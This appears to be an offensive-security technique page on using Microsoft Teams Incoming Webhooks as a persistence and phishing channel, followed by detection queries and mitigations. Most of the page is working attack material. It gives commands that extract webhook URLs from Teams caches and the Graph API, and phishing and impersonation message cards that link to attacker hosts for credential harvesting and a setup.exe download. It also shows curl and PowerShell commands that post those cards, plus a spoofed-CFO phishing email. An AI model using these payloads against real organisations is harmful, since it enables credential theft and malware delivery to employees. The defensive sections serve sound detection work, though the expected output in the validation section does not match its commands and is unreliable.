MCADDF

[PERSIST-SERVER-004]: Teams Webhook Persistence

Metadata

Attribute Details
Technique ID PERSIST-SERVER-004
MITRE ATT&CK v18.1 T1505.003 - Server Software Component: Web Shell
Tactic Persistence
Platforms M365
Severity High
CVE N/A (Design flaw; no authentication required)
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions All Microsoft Teams versions (Web, Desktop, Mobile)
Patched In N/A (Microsoft MSRC closed without fix as of Jan 2024)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Microsoft Teams Incoming Webhooks (Connectors) allow external systems to post messages to Teams channels without authentication. An attacker who discovers or extracts a webhook URL can send arbitrary messages to the channel appearing as a legitimate connector application, even after losing access to the organization’s Teams account. Webhook URLs persist indefinitely unless explicitly deleted by a team owner, and by default, users can configure webhooks in any channel they access. This creates a persistent backdoor: even if an attacker’s account is disabled or passwords are reset, the webhook URL remains valid and can be used to send phishing messages, impersonate applications, post malware links, or conduct social engineering attacks directly within the organization’s Teams infrastructure.

Attack Surface: Teams Incoming Webhook URLs, Connector configurations, Channel message posting APIs, Message card JSON payloads (for crafting phishing/impersonation content).

Business Impact: Persistent Command & Control / Social Engineering Channel. An attacker maintains indefinite access to post messages to Teams channels appearing as legitimate connectors. This enables:

Technical Context: Exploitation requires 5-10 minutes with initial Teams access (or a leaked webhook URL). Detection likelihood is Medium if Teams message auditing and connector usage logs are reviewed. However, messages posted via webhooks appear legitimate and can blend in with normal channel traffic.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.2.4 Ensure that external access is restricted
DISA STIG M365-1-1 Configure message retention and archiving
CISA SCuBA CA-2(1) Automated Detection and Prevention Controls
NIST 800-53 AC-2(3), AU-2 Incident Monitoring and Unauthorized Access Detection
GDPR Art. 32 Security Measures; Unauthorized Access Logging
DORA Art. 18 Testing and Monitoring of Security Controls
NIS2 Art. 21(f) Incident Response and Forensics
ISO 27001 A.6.1.3, A.9.2.3 Access Control; Monitoring and Logging
ISO 27005 Section 7 Risk Assessment - Unauthorized Message Posting

2. Technical Prerequisites


3. Detailed Execution Methods and Their Steps

METHOD 1: Webhook URL Discovery and Message Injection via PowerShell

Supported Versions: All Teams versions

Prerequisites: User access to Teams channels; ability to view connector configurations (channel owner/team owner privileges, or leaked webhook URL).

Step 1: Discover Webhook URLs from Compromised Teams Channel

Objective: Extract existing webhook URLs from a channel, which persist even after account compromise or credential resets.

Command (Via Teams Admin Center - Requires Owner Access):

# Connect to Teams PowerShell
Connect-MicrosoftTeams

# Get all teams and their channels
$teams = Get-Team

foreach ($team in $teams) {
    Write-Host "Team: $($team.DisplayName)"
    
    # Get all channels in the team
    $channels = Get-TeamChannel -GroupId $team.GroupId
    
    foreach ($channel in $channels) {
        Write-Host "  Channel: $($channel.DisplayName)"
        
        # Get channel configuration (may reveal webhook details in some cases)
        # Note: MS PowerShell doesn't expose webhook URLs directly; must check via API
    }
}

Command (Via Graph API - Extract Webhook URLs):

# Authenticate and get access token
TOKEN=$(az account get-access-token --resource "https://graph.microsoft.com" --query "accessToken" -o tsv)

# List all Teams
curl -s "https://graph.microsoft.com/v1.0/teams" \
  -H "Authorization: Bearer $TOKEN" | jq '.value[].id'

# For each team, list channels and connectors
TEAM_ID="12345678-1234-1234-1234-123456789012"
curl -s "https://graph.microsoft.com/v1.0/teams/$TEAM_ID/channels" \
  -H "Authorization: Bearer $TOKEN" | jq '.value[].id'

# Get channel configuration (webhooks may be visible via configuration)
# Note: Graph API for webhooks is limited; direct URL extraction requires Teams Web client access

Alternative - Web Scraping (If Webhook URLs are Visible in Channel Settings):

# Access the Teams web client and extract webhook from DevTools
# Webhooks are configured at: https://teams.microsoft.com/v2/channels/{channelId}/tabs

# Or, check Team's configuration files if attacker has local file system access
# Windows: %APPDATA%\Microsoft\Teams\Cache\
# Linux: ~/.config/microsoft-teams/Cache/

grep -r "webhook.office.com" ~/.config/microsoft-teams/Cache/ 2>/dev/null

Expected Output:

https://outlook.webhook.office.com/webhookb2/XXXXX-XXXXX-XXXXX/IncomingWebhook/XXXXXXX/XXXXXXX

What This Means:

OpSec & Evasion:

References & Proofs:

Step 2: Craft Malicious Message Card (JSON Payload)

Objective: Create a message card that mimics a legitimate Teams connector (e.g., GitHub, Jira, ServiceNow) to deceive users.

Command (Create Phishing Message Card):

# Phishing message card (appears as "GitHub" connector)
cat > phishing_payload.json << 'EOF'
{
  "@type": "MessageCard",
  "@context": "https://schema.org/extensions",
  "summary": "Security Alert",
  "themeColor": "0078D4",
  "title": "🔒 Urgent: Verify Your Microsoft 365 Account",
  "sections": [
    {
      "activityTitle": "Microsoft 365 Security Team",
      "activitySubtitle": "Suspicious Activity Detected",
      "text": "Your account has been flagged for unusual sign-in activity. Please verify your identity immediately by clicking the button below.",
      "potentialAction": [
        {
          "@type": "OpenUri",
          "name": "Verify Account",
          "targets": [
            {
              "os": "default",
              "uri": "https://attacker-phishing-site.com/login.html"
            }
          ]
        }
      ]
    }
  ]
}
EOF

# Read the JSON (for use in curl)
PAYLOAD=$(cat phishing_payload.json | jq -c .)

Command (Create Impersonation Message Card - Fake Application):

{
  "@type": "MessageCard",
  "@context": "https://schema.org/extensions",
  "summary": "Build Status",
  "themeColor": "28a745",
  "title": "✅ Build Pipeline - Main Branch",
  "@from": "Azure DevOps",
  "sections": [
    {
      "activityTitle": "Pipeline Completed",
      "activitySubtitle": "Merge request approved",
      "text": "Your pull request has been merged. **Attention:** An urgent security patch has been deployed. Click below to review deployment logs.",
      "potentialAction": [
        {
          "@type": "OpenUri",
          "name": "View Logs",
          "targets": [
            {
              "os": "default",
              "uri": "https://attacker-c2-server.com/logs?token=EXFIL"
            }
          ]
        }
      ]
    }
  ]
}

What This Means:

OpSec & Evasion:

Step 3: Send Malicious Payload to Teams Webhook

Objective: Post the crafted message card to the channel using the webhook URL.

Command (Send Phishing Message via Webhook):

WEBHOOK_URL="https://outlook.webhook.office.com/webhookb2/XXXXX/IncomingWebhook/XXXXX/XXXXX"

# Create minimal payload
curl -X POST "$WEBHOOK_URL" \
  -H "Content-Type: application/json" \
  -d '{
    "@type": "MessageCard",
    "@context": "https://schema.org/extensions",
    "summary": "Alert",
    "themeColor": "0078D4",
    "title": "⚠️  Security: Verify Your Identity Now",
    "sections": [
      {
        "text": "Click below to confirm your account details",
        "potentialAction": [
          {
            "@type": "OpenUri",
            "name": "Verify Now",
            "targets": [
              {"os": "default", "uri": "https://phishing-site.attacker.com/verify"}
            ]
          }
        ]
      }
    ]
  }'

Command (Send via PowerShell):

$webhook = "https://outlook.webhook.office.com/webhookb2/XXXXX/IncomingWebhook/XXXXX/XXXXX"

$payload = @{
    "@type" = "MessageCard"
    "@context" = "https://schema.org/extensions"
    "summary" = "Security Alert"
    "themeColor" = "0078D4"
    "title" = "🔒 Urgent Account Verification Required"
    "sections" = @(
        @{
            "activityTitle" = "Microsoft 365 Security Team"
            "text" = "Unusual login activity detected. Verify your identity now."
            "potentialAction" = @(
                @{
                    "@type" = "OpenUri"
                    "name" = "Verify Account"
                    "targets" = @(
                        @{"os" = "default"; "uri" = "https://attacker-phishing.com/login"}
                    )
                }
            )
        }
    )
}

Invoke-WebRequest -Uri $webhook -Method Post -Body ($payload | ConvertTo-Json -Depth 5) -ContentType "application/json"

Expected Output:

1

A response of 1 indicates the message was posted successfully.

What This Means:

OpSec & Evasion:

References & Proofs:

Step 4: Escalate via Message Card Actions (Credential Harvesting)

Objective: Use message card action buttons to capture credentials or trigger downloads.

Command (Create Credential Harvesting Card):

{
  "@type": "MessageCard",
  "@context": "https://schema.org/extensions",
  "summary": "Password Reset Required",
  "themeColor": "ff0000",
  "title": "⚠️  Action Required: Password Reset",
  "sections": [
    {
      "text": "Your Microsoft 365 password will expire in 24 hours. Please update it immediately to maintain access.",
      "potentialAction": [
        {
          "@type": "OpenUri",
          "name": "Reset Password",
          "targets": [
            {
              "os": "default",
              "uri": "https://attacker-phishing-site.com/reset-password?user=$(whoami)&org=$(hostname)"
            }
          ]
        },
        {
          "@type": "OpenUri",
          "name": "FAQ",
          "targets": [
            {
              "os": "default",
              "uri": "https://attacker-c2-server.com/download/setup.exe"
            }
          ]
        }
      ]
    }
  ]
}

What This Means:


METHOD 2: Webhook URL Extraction from Teams Local Cache

Supported Versions: Teams Desktop Client (Windows, Mac, Linux)

Prerequisites: Local or remote access to the endpoint running Teams desktop client.

Objective: Extract webhook URLs from Teams local storage, enabling persistence even if the attacker loses network access.

Command (Windows - Extract from Cache):

# Teams stores webhook URLs in the local cache
$teamsPath = "$env:APPDATA\Microsoft\Teams\Cache"

# Search for webhook URLs in cached files
Get-ChildItem -Path $teamsPath -Recurse -Filter "*.json" | 
  ForEach-Object { 
    Select-String -Path $_.FullName -Pattern "webhook.office.com" -ErrorAction SilentlyContinue
  }

# Alternative: Extract from Indexed DB (Teams Web storage)
# Location: $env:APPDATA\Microsoft\Teams\IndexedDB\
dir "$env:APPDATA\Microsoft\Teams\IndexedDB" /s | findstr webhook

Command (Mac/Linux - Extract from Cache):

# Mac
grep -r "webhook.office.com" ~/Library/Application\ Support/Microsoft/Teams/Cache/

# Linux
grep -r "webhook.office.com" ~/.config/microsoft-teams/Cache/

# Alternative: Check Teams configuration files
cat ~/.config/microsoft-teams/app.json | grep -i webhook

Expected Output:

https://outlook.webhook.office.com/webhookb2/12345678-1234-1234/IncomingWebhook/6789ABCDEF/0123456789

What This Means:

OpSec & Evasion:


METHOD 3: Channel Email Address Abuse for Webhook Persistence

Supported Versions: All Teams versions

Prerequisites: Knowledge of Teams channel email address (format: ChannelName@TeamName.teams.microsoft.com); ability to send emails.

Objective: Use Teams channel email addresses as an alternative persistence mechanism.

Command (Send Phishing Email to Channel):

# Teams channels can receive emails; messages appear in the channel as if posted by email sender
# This can be abused to send phishing emails to a Teams channel

# Step 1: Discover channel email address
# (Usually visible in channel settings, or can be inferred from pattern)
CHANNEL_EMAIL="Sales-Announcements@CompanyName.teams.microsoft.com"

# Step 2: Craft phishing email
cat > phishing_email.txt << 'EOF'
From: fake-cfo@company.com
To: Sales-Announcements@CompanyName.teams.microsoft.com
Subject: Urgent: Salary Review Process - Action Required

Hi Team,

Please review your salary information and click below to confirm details:

https://attacker-phishing-site.com/salary-review

Best regards,
CFO Office
EOF

# Step 3: Send via SMTP (if external SMTP is available)
sendmail -t < phishing_email.txt

What This Means:

OpSec & Evasion:


4. Splunk Detection Rules

Rule 1: Suspicious Teams Webhook Message Posts

Rule Configuration:

SPL Query:

index=teams_audit Operation=PostMessage TargetObject="*webhook*"
| stats count by TargetObject, UserId, TeamId
| where count > 10

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk → SettingsSearches, reports, and alerts
  2. Click New Alert
  3. Paste the SPL query above
  4. Set Trigger Condition to “when count > 10”
  5. Configure Action → Send email/alert to security team

Rule 2: Webhook URL Discovery or Modification

Rule Configuration:

SPL Query:

index=o365_management Operation IN ("AddConnector", "UpdateConnector", "RemoveConnector") 
  OR search="*webhook*"
| fields _time, Operation, UserId, ObjectId

What This Detects:


5. Microsoft Sentinel Detection

Query 1: Abnormal Message Activity from Teams Webhooks

Rule Configuration:

KQL Query:

TeamsAuditLogs
| where Operation == "PostMessage"
| where tostring(Properties) contains "webhook" or tostring(Properties) contains "connector"
| summarize MessageCount=count() by ChannelId, TimeGenerated
| where MessageCount > 10
| project TimeGenerated, ChannelId, MessageCount

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Abnormal Teams Webhook Message Activity
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 10 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

6. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if Teams audit logging is enabled
$auditStatus = Get-UnifiedAuditLogRetentionPolicy
Write-Host "Audit Logging Enabled: $($auditStatus.Enabled)"

# List all configured webhooks in Teams (requires admin)
# Note: Direct PowerShell export not available; must use Teams Admin Center UI

# Check DLP policies for webhook URL patterns
Get-DlpCompliancePolicy | Where-Object {$_.ContentContains -like "*webhook*"} | Select-Object Name, Description

# Check Conditional Access policy for Teams webhook restrictions
Get-ConditionalAccessPolicy | Where-Object {$_.DisplayName -like "*Webhook*"} | Select-Object DisplayName, State

Expected Output (If Secure):

Audit Logging Enabled: True
DLP Policy Name: Block Webhook URL Leakage (Active)
No unauthorized webhooks found in Teams channels
Conditional Access enforcing MFA for webhook configuration

What to Look For:


Step Phase Technique Description
1 Initial Access [IA-PHISH-005] Internal Spearphishing Attacker gains initial access via phishing email
2 Privilege Escalation [PE-ACCTMGMT-002] Exchange Admin Escalation Escalate to Teams admin via role manipulation
3 Current Step [PERSIST-SERVER-004] Teams Webhook Persistence - Create backdoor webhook
4 Command & Control Phishing/Social Engineering via Teams Use webhooks to send fake IT alerts, CEO requests
5 Lateral Movement [LM-AUTH-013] EWS Impersonation Escalate to mailbox access via compromised tokens
6 Impact Data exfiltration, ransomware deployment, credential harvesting  

8. Real-World Examples

Example 1: Storm-2603 (SharePoint + Teams Attack Chain)

Example 2: Teams Webhook Phishing Campaigns (Generic)


References & Additional Resources